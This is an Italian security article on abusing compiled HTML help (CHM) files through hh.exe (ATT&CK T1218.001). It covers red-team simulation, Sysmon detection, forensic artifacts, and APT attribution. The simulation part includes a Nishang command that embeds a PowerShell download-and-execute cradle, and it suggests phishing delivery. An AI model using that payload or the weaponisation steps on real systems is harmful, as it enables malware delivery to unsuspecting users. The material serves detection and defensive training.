File CHM come Vettore d'Attacco: Compiled HTML File (T1218.001)

Per simulare questa tecnica in ambiente lab è necessario comprendere la catena: creazione del CHM → consegna → esecuzione via hh.exe → payload. Il tool nativo per compilare file CHM è HTML Help Workshop (gratuito, Microsoft), che utilizza il compilatore a riga di comando hhc.exe.

Il primo passo è creare un progetto CHM contenente una pagina HTML con codice malevolo. Un file HTML d'esempio include un oggetto ActiveX ShortCut che invoca un comando alla visualizzazione della pagina. La struttura del progetto (.hhp) definisce i file da includere e le opzioni di compilazione. Una volta preparato il progetto, la compilazione avviene con:

hhc.exe progetto.hhp

Il risultato è un file .chm pronto per il test. In alternativa, il modulo Out-CHM del framework Nishang (open source) automatizza l'intera procedura, generando un file CHM con payload PowerShell incorporato:

Out-CHM -Payload "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('')" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

Nishang richiede che HTML Help Workshop sia installato sulla macchina di compilazione. Il parametro -HHCPath punta alla directory del compilatore.

Per l'esecuzione, l'attaccante conta sull'apertura diretta da parte della vittima (doppio clic) oppure forza l'esecuzione da riga di comando:

hh.exe C:\Users\target\Downloads\manuale.chm

Un test più avanzato prevede l'uso di SharpCHMGen (open source), un tool .NET che genera file CHM con payload personalizzati senza richiedere HTML Help Workshop. La catena d'attacco tipica in un red team engagement prevede la consegna del CHM via email di phishing con pretesto di documentazione tecnica.

Per la validazione, il framework Atomic Red Team (open source) include il test atomico T1218.001 che automatizza la creazione e l'esecuzione di un CHM di test, verificando che hh.exe generi i processi figlio attesi. Esegui il test con:

Invoke-AtomicTest T1218.001

Durante il test, monitora con Process Monitor (gratuito, Sysinternals) le operazioni di hh.exe: noterai la creazione di file temporanei nella directory %TEMP%\ITS\ e il caricamento delle DLL di rendering HTML (hhctrl.ocx, itss.dll). Questi artefatti sono fondamentali per validare che il blue team rilevi correttamente l'attività.

La detection di questa tecnica ruota attorno a un singolo punto focale: il comportamento di hh.exe dopo l'apertura di un file CHM. Il rilevamento diretto dell'evento di process creation è semplice — la parte complessa è distinguere l'uso legittimo (consultazione di help file di software interni) dal payload weaponizzato.

La log source primaria è Sysmon (gratuito, Sysinternals). L'evento chiave è EventCode 1 (Process Create): ogni istanza di hh.exe che genera processi figlio sospetti deve attivare un alert. I child process da monitorare sono specifici: powershell.exe, cmd.exe, mshta.exe, wscript.exe, cscript.exe. Un file di help legittimo non lancia mai una shell o un interprete di scripting.

La regola di correlazione dovrebbe operare su due livelli. Il primo livello cattura l'esecuzione di hh.exe con un file .chm proveniente da path non attendibili — cartelle come Downloads, %TEMP%, %APPDATA% o path UNC. Il tuning avviene tramite una regex sui percorsi CHM (il parametro CHMPathRegex della detection) che escluda le directory di installazione dei software aziendali con file di help legittimi.

Il secondo livello monitora l'attività post-esecuzione entro una finestra temporale ristretta (TimeWindow). Se hh.exe genera connessioni di rete verso destinazioni non presenti nella whitelist dei server di aggiornamento (NetworkDestinationAllowlist), questo è un indicatore ad alta confidenza. L'evento Sysmon EventCode 3 (Network Connection) filtrato sul processo hh.exe rivela questi tentativi.

Ulteriori segnali ad alto valore: eventi EventCode 7 (Image Loaded) che mostrano hh.exe che carica DLL inusuali, e EventCode 11 (File Create) per file scritti da hh.exe in directory temporanee. Il pattern tipico di Astaroth prevede l'uso di oggetti ActiveX per manipolare file — quindi il caricamento di scrrun.dll (FileSystemObject) da parte di hh.exe è un indicatore specifico.

Per la gestione dei falsi positivi, costruisci una baseline iniziale di 2-3 settimane raccogliendo tutte le esecuzioni legittime di hh.exe nell'ambiente. Cataloga i percorsi CHM standard e inseriscili nella whitelist. In ambienti con software legacy che usa estensivamente la guida CHM, il volume di falsi positivi può essere significativo — in questo caso, prioritizza gli alert che combinano path sospetto e child process sospetto, ignorando l'esecuzione isolata.

Come controllo preventivo, la mitigazione M1038 suggerisce di bloccare direttamente hh.exe tramite AppLocker o Windows Defender Application Control (WDAC) dove il binario non è necessario. Una policy AppLocker che nega l'esecuzione di %SystemRoot%\hh.exe per tutti gli utenti non amministratori elimina la superficie d'attacco alla radice.

L'analisi forense di un attacco via CHM produce artefatti distribuiti in tre aree: il file system, i registri di evento e le tracce del motore di rendering HTML. La ricostruzione della timeline parte dal momento in cui il file .chm raggiunge il disco.

Il primo artefatto è il file CHM stesso. Controlla la Zone.Identifier nell'Alternate Data Stream NTFS: se il file è stato scaricato da Internet o ricevuto via email, il Mark of the Web (MotW) sarà presente. Verifica con:

Get-Content -Path "C:\Users<utente>\Downloads<file>.chm" -Stream Zone.Identifier

La presenza di ZoneId=3 conferma l'origine esterna. Tuttavia, alcuni metodi di consegna (estrazione da archivi ZIP tramite tool di terze parti) possono non preservare il MotW — l'assenza non esclude l'origine malevola.

Quando hh.exe elabora un file CHM, il contenuto viene decompresso in una directory temporanea sotto %LOCALAPPDATA%\Microsoft\Windows\INetCache\ITS\ (su Windows 10/11) o %TEMP%\ITS\ su versioni precedenti. Qui troverai i file HTML, gli script e gli eventuali eseguibili embedded estratti dall'archivio CHM. Questi file temporanei sono fondamentali perché contengono il payload in chiaro, anche se il CHM originale è stato cancellato dall'attaccante.

Per la timeline, utilizza le Prefetch di Windows. Il file HH.EXE-<hash>.pf registra le ultime 8 esecuzioni (Windows 10+) con timestamp e riferimenti ai file caricati. Analizzalo con PECmd di Eric Zimmerman (open source):

PECmd.exe -f "C:\Windows\Prefetch\HH.EXE-.pf" --csv output_prefetch*

L'output mostra i percorsi dei file .chm aperti e le DLL caricate, permettendo di correlare l'esecuzione con il file specifico usato nell'attacco. Se hh.exe ha generato processi figlio come powershell.exe, cerca anche il corrispondente file Prefetch per ricostruire la catena completa.

I log Sysmon forniscono la correlazione temporale più precisa. L'evento EventCode 1 documenta la riga di comando completa di hh.exe (incluso il path del .chm) e il GUID del processo padre. Seguendo il ProcessGuid, puoi tracciare ogni child process generato e le relative connessioni di rete (EventCode 3). Il pattern atteso nei casi che coinvolgono gruppi come APT41 o OilRig è: hh.exe → script engine → download del payload secondario → esecuzione.

Nella MFT (Master File Table), cerca le entry per i file creati nella directory ITS con timestamp di creazione che coincidono con l'evento di apertura del CHM. Lo strumento MFTECmd (open source, Eric Zimmerman) permette di estrarre e filtrare rapidamente:

MFTECmd.exe -f "C:$MFT" --csv output_mft

Filtra l'output CSV per il percorso INetCache\ITS e correla i timestamp di creazione con la finestra temporale dell'incidente. Infine, esamina il registro di Windows: la chiave HKCU\Software\Microsoft\HtmlHelp può contenere riferimenti ai file CHM aperti di recente, fornendo ulteriore contesto storico.

La tecnica T1218.001 è adottata da cinque gruppi APT con profili operativi distinti, il che la rende un indicatore trasversale piuttosto che una firma specifica di un singolo attore. L'analisi comparata rivela pattern utili per l'attribuzione e la previsione.

OilRig (G0049), attore legato a operazioni di spionaggio nel Medio Oriente, utilizza il CHM come loader intermedio: il file .chm viene consegnato alla vittima e, una volta aperto, carica ed esegue un secondo file malevolo. Questo approccio multi-stadio è coerente con la tendenza di OilRig a frammentare la kill chain in componenti modulari, rendendo più difficile il rilevamento dell'intero flusso.

Dark Caracal (G0070), noto per campagne di sorveglianza su larga scala, sfrutta i CHM in modo più diretto: il file compilato HTML contiene un comando per scaricare e lanciare un eseguibile. La semplicità dell'approccio riflette un modello operativo orientato al volume piuttosto che alla sofisticazione tecnica.

Silence (G0091), gruppo specializzato in attacchi al settore finanziario, ha weaponizzato file CHM come componente delle proprie campagne di phishing. L'integrazione del CHM nella catena di social engineering suggerisce che il formato viene scelto specificamente per la sua capacità di eludere i filtri email, dato che molte organizzazioni non bloccano i file .chm come farebbero con .exe o .js.

APT41 (G0096), attore con doppia missione di spionaggio e cybercrime, ha impiegato file CHM per il targeting delle vittime. La versatilità di APT41 — che opera sia su commissione statale sia per profitto — indica che la tecnica è considerata affidabile attraverso contesti operativi diversi.

APT38 (G0082), focalizzato su operazioni finanziarie distruttive, utilizza i CHM per muovere payload nascosti all'interno degli ambienti compromessi. Questo uso post-accesso differisce dagli altri gruppi che impiegano il CHM prevalentemente nella fase di initial access, suggerendo che APT38 sfrutta la fiducia implicita nel formato .chm anche per il movimento laterale.

Sul fronte software, Astaroth (S0373) sfrutta oggetti ActiveX per l'esecuzione e la manipolazione di file, rappresentando un esempio concreto di come il motore di rendering dei CHM possa essere abusato programmaticamente.

Il pattern emergente è chiaro: il file CHM funziona come wrapper universale che attraversa i confini geografici e settoriali. Gli attori lo scelgono per tre ragioni convergenti — è un formato fidato dall'OS, bypassa controlli legacy sulle applicazioni e permette l'esecuzione di codice tramite un binario firmato Microsoft. Per il threat intelligence, un CHM in arrivo via phishing dovrebbe attivare un'analisi incrociata con gli indicatori noti di tutti e cinque i gruppi, utilizzando il contenuto dello script embedded e l'infrastruttura di C2 come discriminanti per l'attribuzione.

Framework MITRE ATT&CK: T1218.001, TA0005, G0049, G0070, G0082, G0091, G0096, S0373, M1021, M1038. Tool di detection: Sysmon, PECmd, MFTECmd, Atomic Red Team. Integrato con conoscenza professionale per tool e procedure operative.